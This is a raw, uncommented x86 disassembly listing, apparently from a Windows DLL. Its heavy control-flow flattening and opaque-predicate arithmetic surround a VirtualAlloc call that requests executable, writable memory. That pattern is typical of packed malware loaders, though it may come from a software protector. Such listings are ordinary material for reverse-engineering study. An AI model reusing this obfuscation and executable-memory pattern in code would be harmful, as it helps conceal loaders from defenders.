mov dl, ch
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and dl, cl
xor cl, 1
mov ch, ah
and ch, cl
or dl, ch
xor dl, 1
or dl, cl
xor cl, ah
mov ah, cl
and cl, dl
xor dl, 1
xor ah, 1
mov ch, dl
xor ch, ah
and ch, dl
and ah, dl
or ah, cl
mov cl, ch
xor cl, 1
xor ch, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, ch
mov cl, ah
xor cl, 1
and cl, ah
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, cl
mov ch, ah
xor ch, 1
mov cl, al
xor cl, 1
mov dh, al
xor dh, ah
mov dl, cl
or dl, ch
xor dl, 1
or dl, dh
xor dl, 1
and ah, cl
and al, ch
or al, ah
or dl, al
mov ah, dl
xor ah, 1
xor cl, al
and cl, al
xor al, 1
or al, ch
xor cl, 1
mov ch, al
or ch, cl
xor ch, 1
xor cl, al
or cl, ch
mov ch, cl
xor ch, 1
mov al, ah
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, ah
mov dh, ch
and dh, al
xor al, 1
and al, cl
or al, dh
and ch, ah
mov ah, dl
xor ah, cl
and ah, dl
and cl, dl
or cl, ch
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, cl
and ah, dl
xor ah, 1
mov ch, dl
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov ch, ah
and ch, al
or dl, al
xor al, 1
xor ah, 1
and ah, al
or ah, ch
xor al, cl
xor dl, 1
or dl, al
mov al, dl
xor al, ah
test al, 1
mov ecx, 0x2e812187
mov esi, 0x19c3b03f
cmovne ecx, esi
test dl, 1
mov edi, 0x2e812187
jmp 0x1001583d
cmp edi, 0x95649686
jg 0x1001459a
cmp edi, 0x90c84eff
je 0x1001b314
cmp edi, 0x930a2dd2
jne 0x10008b80
mov edi, 0x44f5b014
jmp 0x10008b80
cmp edi, 0x6911691a
jg 0x1001584b
cmp edi, 0x65c5e9f2
je 0x1001b31e
cmp edi, 0x66942dde
jne 0x10008b80
mov edi, 0x3df3814a
jmp 0x10008b80
cmp edi, 0xd182dc60
jg 0x1001586d
cmp edi, 0xc20bf5e0
je 0x1001be48
cmp edi, 0xc6bf400b
jne 0x10008b80
mov edi, 0xf31014c0
jmp 0x10008b80
cmp edi, 0x4f173a0a
jg 0x10016ba1
cmp edi, 0x44f5b014
je 0x1001be61
cmp edi, 0x459f13fc
jne 0x10008b80
mov edi, 0xb3df0bc0
jmp 0x10008b80
cmp edi, 0xb209d976
jg 0x10016bc3
cmp edi, 0xae012ed5
je 0x1001cf48
cmp edi, 0xaf75a530
jne 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10047900]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
mov ecx, eax
mov ebx, eax
and ecx, 0x1640188
mov eax, esi
and eax, 0xe4933452
or eax, ecx
mov edx, eax
xor edx, 0xc0913410
xor eax, 0x1b6ccbad
mov ecx, esi
xor ecx, 0xe5f735da
and ecx, esi
mov ebp, esi
mov dword [esp + 0x18], esi
mov esi, ecx
not esi
mov edi, eax
and edi, 0x3e6a03ca
and edx, 0xc1953410
or edx, edi
or eax, esi
and esi, 0x3e6a03ca
and ecx, 0xc195fc35
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x8804
xor eax, 0x20502088
and ecx, 0x209946
and eax, 0x3a502288
or eax, ecx
mov esi, eax
xor esi, 0x100008
xor eax, 0xc5afdd77
mov ecx, ebx
and ecx, 0x3a70bbce
mov edx, ebp
and edx, 0xc58f4431
or edx, ecx
mov ecx, edx
xor ecx, ebx
and ecx, edx
mov edi, ecx
not edi
mov edx, eax
or edx, edi
not edx
and eax, 0x7a48f7f0
and esi, 0x30080e
or esi, eax
and edi, 0x7a48f7f0
and ecx, 0x85b7080f
or ecx, edi
xor ecx, esi
or ecx, edx
mov edx, ecx
xor edx, 0xc0020000
mov eax, ecx
xor eax, 0x3a70bbce
mov esi, eax
and esi, 0xcd723c
and edx, 0xfa020100
or edx, esi
mov esi, edx
xor esi, 0x38000100
xor edx, 0x100c050
or eax, 0x40004010
and edx, 0x4100c050
and esi, 0x38400300
or esi, edx
and eax, 0x4100c050
and ecx, 0x802
or ecx, eax
xor ecx, esi
xor ecx, 0x1008842
or ecx, 0x86bf34ad
mov eax, ecx
not eax
mov edx, eax
and edx, 0x2f7aa6a9
and eax, ecx
and ecx, 0xd0855956
or ecx, edx
mov edx, ecx
xor edx, 0x55110
xor ecx, 0x2f7aa6a9
mov esi, eax
not esi
mov edi, ecx
and edi, 0xdc900a67
and edx, 0x236ff598
or edx, edi
or ecx, esi
and esi, 0xdc900a67
and eax, 0x236ff598
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov ebp, ecx
not ebp
mov esi, dword [esp + 0x18]
mov edx, esi
xor edx, 0x7940cb52
mov eax, ebx
mov dword [esp + 4], ebx
and edx, ebx
and esi, 0x7940cb52
and eax, 0x86bf34ad
or eax, esi
or eax, edx
mov esi, eax
not esi
mov edx, eax
and edx, 0x2b189fab
and esi, 0xd4e76054
or esi, edx
xor esi, 0xd4e76054
or esi, eax
mov edx, ecx
mov eax, ebp
and eax, 0x48b39466
and ecx, 0xb74c6b99
or ecx, eax
mov eax, esi
not eax
and edx, 0x9347a3cc
xor ecx, 0xd5a9f516
or ecx, ebp
and ebp, 0x6cb85c33
or ebp, edx
mov edx, esi
and edx, 0x8cadbe09
mov edi, eax
and edi, 0x735241f6
or edi, edx
xor edi, 0x735241f6
mov ebx, esi
and ebx, eax
or ebx, edi
mov edx, ebp
xor edx, 0x9347a3cc
mov dword [esp], edx
xor ebp, 0x6cb85c33
mov dword [esp + 8], ebp
mov edx, ebp
and edx, 0x9d1a6170
mov edi, dword [esp]
and edi, 0x62e59e8f
or edi, edx
mov edx, edi
xor edx, ebp
and edx, edi
mov ebp, ebx
not ebp
mov dword [esp + 0xc], ebp
and ebp, 0xffc7c831
mov edi, ebx
and edi, 0x3837ce
or edi, ebp
mov ebp, esi
and ebp, 0x62e59e8f
and eax, 0x9d1a6170
or eax, ebp
xor esi, eax
and esi, eax
xor ecx, edx
and edx, ecx
not ecx
or ecx, edx
xor edi, 0x9d2256be
mov ebp, dword [esp + 0xc]
or edi, ebp
mov edx, esi
not edx
mov eax, edi
or eax, edx
and edx, 0x576a9cc3
and esi, 0xa895633c
or esi, edx
xor esi, edi
not eax
xor esi, 0xa895633c
or esi, eax
not ecx
mov eax, esi
not eax
mov edx, eax
xor edx, ecx
and edx, esi
and eax, 0xa719fd19
and esi, 0x58e602e6
or esi, eax
xor esi, 0xa719fd19
or esi, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x87d83944
and edx, 0x7827c6bb
or edx, eax
xor edx, esi
or ecx, esi
xor edx, 0x7827c6bb
not ecx
or ecx, edx
mov eax, dword [esp + 8]
mov edx, eax
and eax, 0xe7a32e7
mov esi, eax
mov eax, dword [esp]
and eax, 0xf185cd18
or eax, esi
mov esi, ebp
or edx, ebp
and esi, 0xe7a32e7
and ebx, 0xf185cd18
or ebx, esi
xor ebx, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0xdf452828
and ebx, 0x20bad7d7
or ebx, eax
xor ebx, edx
xor ebx, 0x20bad7d7
or esi, edx
not esi
or esi, ebx
mov eax, esi
not eax
and eax, 0x14be03e7
and esi, 0xeb41fc18
or esi, eax
mov eax, esi
xor eax, 0x14be03e7
xor esi, 0xeb41fc18
mov edx, ecx
xor edx, eax
and edx, ecx
xor eax, esi
and eax, ecx
xor eax, esi
or eax, edx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x24221855
mov esi, eax
and esi, 0x42584028
or esi, ecx
xor esi, 0x42584028
mov edx, eax
xor edx, 0x667a587d
and edx, eax
or edx, esi
mov ecx, edx
xor ecx, 0x18042280
xor edx, 0x667a587d
and ecx, 0x5c0e6a85
mov esi, edx
and esi, 0xa3f1957a
or esi, ecx
xor esi, 0x254ea1d6
and edx, 0x7940cb53
or edx, esi
mov esi, edx
not esi
and edi, 0x36299a98
and eax, 0xc9d66567
or eax, edi
mov ebx, eax
xor ebx, 0xc9d66567
xor eax, 0x16208888
and eax, 0x5722edac
mov ecx, ebx
and ecx, 0xa8dd1253
or ecx, eax
xor ecx, 0xd19dd900
and ebx, 0x86bf34ac
or ebx, ecx
mov eax, ebx
not eax
mov edi, esi
xor edi, ebx
and edi, esi
and edx, 0xf35520e8
and esi, 0xcaadf17
or esi, edx
and ebx, 0xf35520e8
and eax, 0xcaadf17
or eax, ebx
xor eax, esi
mov edx, edi
not edx
mov ecx, eax
not ecx
mov esi, edx
and esi, 0xdc4d9565
and edi, 0x23b26a9a
or edi, esi
or edx, ecx
and ecx, 0xdc4d9565
and eax, 0x23b26a9a
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, dword [esp + 4]
and eax, 0xc0ead595
mov ecx, dword [esp + 0x18]
and ecx, 0x3f152a6a
or ecx, eax
mov eax, ecx
xor eax, 0x1e050822
xor ecx, 0x4020c501
and ecx, 0x6130e749
and eax, 0x9ecf18b6
or eax, ecx
mov esi, eax
xor esi, 0x6130e749
xor eax, 0x9ecf18b6
mov ecx, eax
and ecx, esi
and eax, 0x9f95aaf3
and esi, 0x606a550c
or esi, eax
xor esi, 0x9f95aaf3
or esi, ecx
mov ecx, edx
not ecx
mov eax, ecx
mov ebp, ecx
and eax, 0x61568273
mov ecx, edx
mov dword [esp], edx
and ecx, 0x9ea97d8c
or ecx, eax
mov edi, ecx
xor edi, 0x9ea97d8c
xor ecx, 0x61568273
mov eax, esi
not eax
and ecx, eax
and edi, esi
or edi, ecx
not edi
or edi, eax
mov ecx, edi
not ecx
mov dword [esp + 0x18], ecx
mov ebx, eax
and ebx, 0x7b55a185
and eax, esi
and esi, 0x84aa5e7a
or esi, ebx
xor esi, 0x84aa5e7a
or esi, eax
mov ecx, ebp
mov dword [esp + 4], ebp
mov eax, ebp
and eax, 0xd67b8cef
mov ebx, edx
and ebx, 0x29847310
or ebx, eax
mov ebp, esi
not ebp
and esi, 0xd67b8cef
and ebp, 0x29847310
or ebp, esi
xor ebp, ebx
mov edx, ebp
xor edx, ecx
and edx, ebp
and edi, 0x2c902820
mov eax, dword [esp + 0x18]
mov esi, eax
and esi, 0xd36fd7df
or esi, edi
mov edi, esi
xor edi, 0xd36fd7df
mov ebx, edi
and ebx, 0xfa377106
and eax, 0x5c88ef9
or eax, ebx
mov dword [esp + 0x18], eax
mov ecx, edx
not ecx
mov ebp, edx
or ebp, 0x1488c20
and ebp, 0xe9589d26
mov eax, ecx
and eax, 0x12276000
or eax, ebp
mov ebx, ecx
or ebx, 0xe8101106
and ebx, 0xe9589d26
mov ebp, edx
and ebp, 0x48002d9
or ebp, ebx
xor ebp, eax
xor ebp, dword [esp + 0x18]
xor esi, 0x2c902820
mov eax, esi
and eax, 0x67f881b0
and edi, 0x98077e4f
or edi, eax
or esi, edx
and edx, 0x67f881b0
and ecx, 0x98077e4f
or ecx, edx
xor ecx, edi
not esi
or esi, ecx
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0x42d9b8cf
and ebp, 0xbd264730
or ebp, eax
xor ebp, esi
xor ebp, 0xbd264730
or ecx, esi
not ecx
or ecx, ebp
mov esi, dword [esp + 4]
mov eax, esi
and eax, 0xf6980add
mov ebx, dword [esp]
and esi, ebx
and ebx, 0x967f522
or ebx, eax
mov eax, ebx
xor eax, 0x9425002
xor ebx, 0xf6980add
mov edx, ebx
and edx, 0x36bda76c
and eax, 0xc9425893
or eax, edx
mov edx, esi
not edx
or ebx, edx
and edx, 0x36bda76c
and esi, 0xc9425893
or esi, edx
xor esi, eax
mov eax, esi
mov esi, ecx
not esi
not ebx
or ebx, eax
and ecx, 0x25a364ef
mov edi, esi
and edi, 0xda5c9b10
or edi, ecx
xor edi, 0xda5c9b10
mov eax, ebx
not eax
or eax, edi
and edi, 0xcce4d914
and esi, 0x331b26eb
or esi, edi
mov ecx, ebx
xor ecx, 0x48840904
xor ebx, 0x1311244b
and ebx, 0x9771f45b
and ecx, 0x688e0ba4
or ecx, ebx
xor ecx, esi
xor ecx, 0x9771f45b
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x48e60108
and eax, 0x2110f017
or eax, edx
xor eax, 0x2110f017
and ecx, 0x96090ee0
or ecx, eax
xor ecx, 0x47e8676e
cmp ecx, 0x47e8676e
sete dl
cmp dword [0x10047904], 0xa
setge ah
setl cl
mov dh, cl
xor dh, ah
mov al, dh
xor al, 1
mov ch, dh
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, dh
xor ch, 1
and dh, cl
and al, ah
or al, dh
mov dh, ch
or dh, cl
xor ch, ah
mov bl, dh
xor bl, ch
or ch, dh
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
mov dh, bl
and dh, ch
xor bl, dh
xor dh, 1
or dh, ch
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov ch, bl
and ch, al
xor al, 1
and dh, al
or dh, ch
mov ch, cl
xor ch, dl
or al, bl
xor al, 1
or al, dh
xor al, 1
mov dh, dl
or dh, al
xor dh, 1
xor al, dl
or al, dh
xor al, 1
mov ebx, eax
xor bl, dh
or al, dh
xor al, 1
or al, bl
xor bl, 1
mov bh, bl
xor bh, al
or al, bl
mov dh, ch
not dh
xor al, 1
or al, bh
mov ebx, edx
xor bl, ah
and dl, bl
and bl, ah
xor dl, 1
xor bl, 1
mov ah, dl
xor ah, bl
or bl, dl
xor bl, 1
or bl, ah
xor bl, 1
or bl, cl
and dh, ch
xor dh, 1
mov cl, ch
xor cl, dh
or dh, ch
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
mov ah, bl
xor ah, cl
and ah, bl
and cl, bl
xor bl, 1
mov dl, dh
xor dl, bl
and dh, bl
or cl, dh
mov ch, ah
xor ch, 1
xor ah, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, dl
xor dl, 1
mov ch, dl
xor ch, cl
and ch, dl
and cl, dl
or cl, ah
xor ch, 1
xor cl, 1
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov cl, ah
xor cl, 1
mov edx, ecx
and dl, ah
xor dl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
xor ah, cl
xor ah, 1
mov dl, ah
xor dl, cl
or ah, cl
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov edx, eax
xor dl, 1
mov cl, dl
and cl, al
xor cl, 1
mov dh, al
xor dh, cl
or cl, al
xor cl, 1
or cl, dh
mov al, ch
and al, ah
xor al, 1
mov bl, ah
xor bl, al
mov dh, ah
or dh, al
xor dh, 1
or dh, bl
mov bl, dh
and bl, cl
xor cl, 1
xor dh, 1
and dh, cl
or al, ch
xor al, 1
or al, ah
mov bh, ah
or bh, cl
or cl, ch
xor cl, 1
or cl, bl
or cl, dh
mov ah, cl
xor ah, 1
xor dl, al
and dl, al
xor dl, 1
mov al, bh
or al, dl
xor dl, bh
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
xor dl, 1
mov al, ah
xor al, dl
xor al, 1
or al, cl
xor cl, dl
or dl, ah
xor dl, 1
and cl, ah
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
or ah, al
mov al, ah
xor al, dl
test al, 1
mov ecx, 0x76825ac4
mov esi, 0x5996fb17
cmovne ecx, esi
test ah, 1
mov edi, 0x76825ac4
cmovne edi, ecx
test dl, 1
jmp 0x1001e459
cmp edi, 0x7972d1e3
jg 0x1001794c
cmp edi, 0x76825ac4
je 0x1001d85e
cmp edi, 0x7927360c
jne 0x10008b80
push 0x40
push 0x1000
push dword [esp + 0x3c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x2c], eax
test eax, eax
sete byte [esp + 0x39]
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
not edi
mov edx, edi
and edx, 0x53020202
mov eax, ecx
and eax, 0x84118090
or eax, edx
mov esi, eax
xor esi, 0x84110000
xor eax, 0x7bee7f6f
mov edx, ecx
xor edx, 0xd7138292
and edx, ecx
mov ebx, eax
and ebx, 0x514a8f9a
and esi, 0x86110000
or esi, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x514a8f9a
and edx, 0xaeb57065
or edx, ebx
xor edx, esi
not eax
or eax, edx
mov edx, eax
xor edx, 0x28a80068
xor eax, 0xd7138292
and edx, 0xeabb806a
mov esi, eax
and esi, 0x15447f95
or esi, edx
xor esi, 0x37249240
and eax, 0xdd9f122a
or eax, esi
mov esi, eax
xor esi, 0x16b6d3c8
xor esi, eax
mov ebx, edi
and ebx, 0x5bd6a0d4
mov edx, ecx
and edx, 0xa4295f2b
or edx, ebx
xor edx, 0x8649b2fe
or edx, edi
xor esi, 0xe9492c37
and esi, edx
xor esi, eax
or eax, edx
not eax
or esi, eax
mov edx, esi
not edx
mov eax, esi
xor eax, 0x792deea2
and eax, esi
or esi, 0x86d2115d
mov ebx, esi
and ebx, 0xcfece73b
and edx, 0x30010880
or edx, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0xcfece73b
and eax, 0x301318c4
or eax, ebx
xor eax, edx
not esi
or esi, eax
mov eax, esi
xor eax, 0xa4b2fc88
xor esi, 0x5b4d0377
mov edx, esi
and edx, 0x206494c7
and eax, 0x54002b20
or eax, edx
xor eax, 0x54002b20
and esi, 0x8b9b4018
or esi, eax
mov ebx, esi
not ebx
mov edx, ebx
or edx, 0x85a05201
and ebx, 0x81b40bb3
mov eax, esi
and eax, 0x7e4bf44c
or eax, ebx
mov ebx, edx
and ebx, 0x10877e9
and esi, 0x7a578816
or esi, ebx
mov ebx, eax
xor ebx, 0xfae38004
xor eax, 0x41459b2
or edx, eax
and eax, 0x10877e9
and ebx, 0xfef78816
or ebx, eax
xor ebx, esi
not edx
or edx, ebx
mov eax, edx
not eax
mov esi, eax
and esi, 0xd385e6c9
and eax, edx
and edx, 0x2c7a1936
or edx, esi
mov esi, edx
xor esi, 0x243a1032
xor edx, 0xd385e6c9
mov ebx, edx
and ebx, 0x99c0ed84
and esi, 0x663f127b
or esi, ebx
mov ebx, eax
not ebx
or edx, ebx
and ebx, 0x99c0ed84
and eax, 0x663f127b
or eax, ebx
xor eax, esi
not edx
or edx, eax
mov eax, edi
and eax, 0x6af9bc53
and edi, ecx
and ecx, 0x950643ac
or ecx, eax
xor ecx, 0x950643ac
or ecx, edi
mov esi, ecx
not esi
mov eax, esi
and eax, 0xa614b9df
mov ebx, ecx
and ebx, 0x59eb4620
or ebx, eax
mov eax, ebx
xor eax, 0xa614b9df
mov ebp, eax
or ebp, 0x4042b1
mov edi, ebx
xor ebx, 0x180a0000
and ebp, 0x40f442fb
and ebx, 0xb80a2800
or ebx, ebp
xor edi, 0x804000
or esi, 0x40b4004a
and esi, 0x40f442fb
and ecx, 0x7019504
or ecx, esi
xor ecx, ebx
xor ecx, 0x7d1e7a4b
or edi, 0x3a16a860
and eax, 0x81201200
and edi, 0x3e96e861
or edi, eax
xor edi, 0x3e96e861
or edi, ecx
mov eax, edi
not eax
mov ecx, edi
or ecx, 0xd214a9
mov esi, eax
or esi, 0x9a004840
and ecx, 0x9ad25ce9
and eax, 0x41202116
or eax, ecx
and esi, 0x9ad25ce9
and edi, 0x240d8200
or edi, esi
xor edi, eax
mov eax, edi
xor eax, 0x24df96a9
xor edi, 0xdb206956
mov ebx, eax
mov esi, edi
and esi, eax
mov ecx, eax
mov eax, edi
and eax, 0x2f44fbbe
and ecx, 0xd0bb0441
or ecx, eax
mov ebp, edx
not ebp
xor ecx, 0x7f86adb0
or ecx, edi
mov dword [esp + 0xc], ecx
and edi, 0x680f1f33
and ebx, 0x97f0e0cc
or ebx, edi
xor ebx, 0x97f0e0cc
or esi, ebx
mov eax, ebp
and eax, 0x509af94d
mov ecx, edx
mov ebx, edx
and ecx, 0xaf6506b2
or ecx, eax
mov edx, ecx
xor edx, 0xaf6506b2
xor ecx, 0x5082c144
and ecx, 0xdd83c156
mov eax, edx
and eax, 0x227c3ea9
or eax, ecx
xor eax, 0x72be68a7
and edx, 0xaf3da9f1
or edx, eax
mov dword [esp], edx
mov eax, esi
xor eax, 0x3041adc0
mov edx, eax
and eax, esi
mov dword [esp + 0x10], eax
mov edi, esi
mov eax, esi
not eax
and edi, 0x994d5658
mov ecx, eax
and ecx, 0x66b2a9a7
or ecx, edi
mov esi, ebx
mov dword [esp + 8], ebx
and ebx, 0x8e55731d
mov dword [esp + 4], ebp
mov edi, ebp
and edi, 0x71aa8ce2
or edi, ebx
and edx, eax
mov dword [esp + 0x14], edx
xor edi, 0x71aa8ce2
mov dword [esp + 0x1c], edi
or edi, eax
mov dword [esp + 0x20], edi
xor ecx, 0xc98f0056
and eax, 0x50c2560e
or eax, ecx
mov dword [esp + 0x24], eax
or esi, 0x10c25604
and esi, 0x13f2ffa4
mov edx, ebp
and edx, 0xac0d0051
or edx, esi
mov eax, dword [esp]
mov ebx, eax
not ebx
and eax, 0x2e7bf09e
mov edi, ebx
and edi, 0xd1840f61
or edi, eax
mov eax, edx
xor eax, 0xec0d005b
mov dword [esp + 0x30], eax
mov ecx, edx
xor ecx, 0x4f6964c8
and ecx, eax
mov esi, ecx
not esi
mov ebp, esi
and ebp, 0x8d0c8893
and ecx, 0x22b1316c
or ecx, ebp
mov eax, dword [esp + 8]
or eax, 0x5cdbdf6e
or esi, eax
and eax, 0xdd0e8a93
mov ebp, dword [esp + 4]
and ebp, 0x22202000
or ebp, eax
xor ebp, ecx
not esi
or esi, ebp
mov ecx, edi
xor ecx, 0xd1840f61
mov ebp, edi
xor ebp, 0x72e06bf2
and ebp, ecx
mov eax, ebp
not eax
mov dword [esp + 8], eax
and dword [esp + 8], 0xaf2200cf
and ebp, 0x50ddff30
add ebp, dword [esp + 8]
or dword [esp], 0x5c9b9b6c
or eax, dword [esp]
and dword [esp], 0xaf2200cf
and ebx, 0x446410
add ebx, dword [esp]
xor ebx, ebp
not eax
or eax, ebx
xor eax, esi
xor edx, 0x13f2ffa4
mov esi, edx
and esi, 0x80380970
mov ebx, dword [esp + 0x30]
and ebx, 0x3f47b089
or ebx, esi
xor edi, 0x2e7bf09e
or edx, edi
and edi, 0xc0b84f76
and ecx, 0x3f47b089
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
not edx
or edx, eax
mov esi, dword [esp + 0x24]
mov eax, esi
not eax
and esi, 0xefc99233
mov ecx, eax
and ecx, 0x10366dcc
or ecx, esi
mov ebx, dword [esp + 0xc]
mov esi, ebx
not esi
and ebx, 0xe8e605c5
mov edi, esi
and edi, 0x1719fa3a
or edi, ebx
xor ecx, 0x10366dcc
mov ebx, ecx
and ebx, 0x630957b6
and eax, 0x9cf6a849
or eax, ebx
xor edi, 0x1719fa3a
or ecx, edi
and edi, 0x630957b6
and esi, 0x9cf6a849
or esi, edi
xor esi, eax
mov eax, esi
not eax
mov edi, eax
and edi, 0xd966fbe4
and esi, 0x2699041b
or esi, edi
xor esi, ecx
or eax, ecx
xor esi, 0x2699041b
not eax
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0x16fd7b05
and ecx, esi
and esi, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0xade30844
and ecx, 0x521cf7bb
or ecx, eax
mov eax, esi
not eax
or edi, eax
and eax, 0xade30844
and esi, 0x521cf7bb
or esi, eax
xor esi, ecx
not edi
or edi, esi
xor edx, 0x16fd7b05
mov eax, edi
xor eax, edi
not eax
and eax, edx
xor eax, edi
mov edx, dword [esp + 0x1c]
and edx, 0x3041adc0
mov ecx, dword [esp + 4]
and ecx, 0xcfbe523f
or ecx, edx
mov esi, ecx
mov edi, dword [esp + 0x14]
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x1d6d8a0e
and edi, 0xe29275f1
or edi, edx
mov ebx, edi
mov edi, dword [esp + 0x10]
mov edx, edi
not edx
or ecx, edx
and edx, 0x1d6d8a0e
and edi, 0xe29275f1
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x90948b49
and edx, 0x6f6b74b6
or edx, ecx
mov ecx, dword [esp + 0x20]
xor edx, ecx
xor edx, 0x6f6b74b6
or edi, ecx
not edi
or edi, edx
mov ecx, edi
not ecx
and ecx, 0xe99c7bb3
and edi, 0x1663844c
or edi, ecx
mov ecx, edi
xor ecx, 0x1663844c
mov dword [esp], ecx
mov esi, eax
not esi
mov edx, edi
xor edx, 0xe99c7bb3
xor edi, 0x66fc17be
and edi, edx
and ecx, 0x8f606c0d
or ecx, edi
mov dword [esp + 4], ecx
mov ebp, eax
xor ebp, 0x709f93f2
mov ecx, ebp
and ecx, esi
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x8e72ef88
and ecx, 0x718d1077
or ecx, ebx
and ebp, eax
mov ebx, ebp
not ebx
or edi, ebx
and ebx, 0x8e72ef88
and ebp, 0x718d1077
or ebp, ebx
xor ebp, ecx
not edi
or edi, ebp
xor edi, dword [esp + 4]
mov ecx, eax
and ecx, 0xe91d3479
and esi, 0x16e2cb86
or esi, ecx
mov ecx, dword [esp]
or eax, ecx
and ecx, 0xe91d3479
and edx, 0x16e2cb86
or edx, ecx
xor edx, esi
not eax
or eax, edx
not eax
or eax, edi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xb571dc2c
and ecx, eax
mov esi, eax
or esi, 0x4a8e23d3
mov edi, esi
and edi, 0x33dfd700
mov ebx, edx
and ebx, 0x8420082c
or ebx, edi
mov edi, ecx
not edi
or esi, edi
and edi, 0x33dfd700
and ecx, 0xcc2028ff
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0x28a0151
xor esi, 0x30201c08
and ecx, 0x87dbc175
and esi, 0x78243e8a
or esi, ecx
mov ecx, esi
xor ecx, 0xfd846c8b
xor esi, 0x78243e8a
and esi, ecx
mov ecx, edx
and ecx, 0x7a5fadfe
and eax, 0x85a05201
or eax, ecx
xor edx, eax
and edx, eax
mov eax, esi
not eax
mov ecx, edx
not ecx
and edx, eax
or eax, ecx
not eax
and ecx, esi
or ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
mov edi, eax
mov dword [esp], eax
and edx, 0xa0028030
mov esi, ecx
and esi, 0xc546040
or esi, edx
xor esi, 0xc546040
and eax, 0x53a91f8f
or eax, esi
mov esi, ecx
and esi, 0xc3052b29
mov edx, edi
and edx, 0x3cfad4d6
or edx, esi
xor edx, 0x3cfad4d6
or edx, edi
mov ebx, edx
not ebx
and edx, 0x28047d87
mov esi, ebx
and esi, 0xd7fb8278
or esi, edx
mov edx, esi
xor edx, 0xd7fb8278
mov edi, esi
xor edi, 0x695caaa4
and edi, edx
and ebx, 0xbea728dc
or ebx, edi
mov ebp, eax
xor ebp, 0x4158d723
mov edi, ebx
xor edi, ebx
not edi
and edi, ebp
xor edi, ebx
mov ebx, eax
not ebx
mov ebp, eax
and ebp, 0x7bca0da
and ebx, 0xf8435f25
or ebx, ebp
xor esi, 0x28047d87
or eax, esi
and esi, 0x7bca0da
and edx, 0xf8435f25
or edx, esi
xor edx, ebx
not eax
or eax, edx
not eax
or eax, edi
mov edx, eax
not edx
mov edi, edx
mov dword [esp + 0xc], edx
mov esi, eax
mov dword [esp + 0x10], eax
or esi, 0xecc61f02
mov edx, esi
and edx, 0x64f6dc79
and edi, 0x13092084
or edi, edx
mov edx, eax
xor edx, 0x1339e0fd
and edx, eax
mov ebx, edx
not ebx
or esi, ebx
and ebx, 0x64f6dc79
and edx, 0x9b092386
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
xor edx, 0xecc61f02
mov edi, esi
xor edi, 0x165b76bb
and edi, edx
xor esi, 0x1208044
and esi, 0x5629646
and edx, 0xfa9d69b9
or edx, esi
or edx, edi
mov esi, edx
not esi
mov ebx, edx
and ebx, 0x4d95d5fa
mov edi, esi
and esi, 0xb26a2a05
or esi, ebx
and edi, edx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0x4d95d5fa
and edi, 0xb26a2a05
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
and edx, 0x5789ddb0
and esi, 0xa876224f
or esi, edx
mov eax, esi
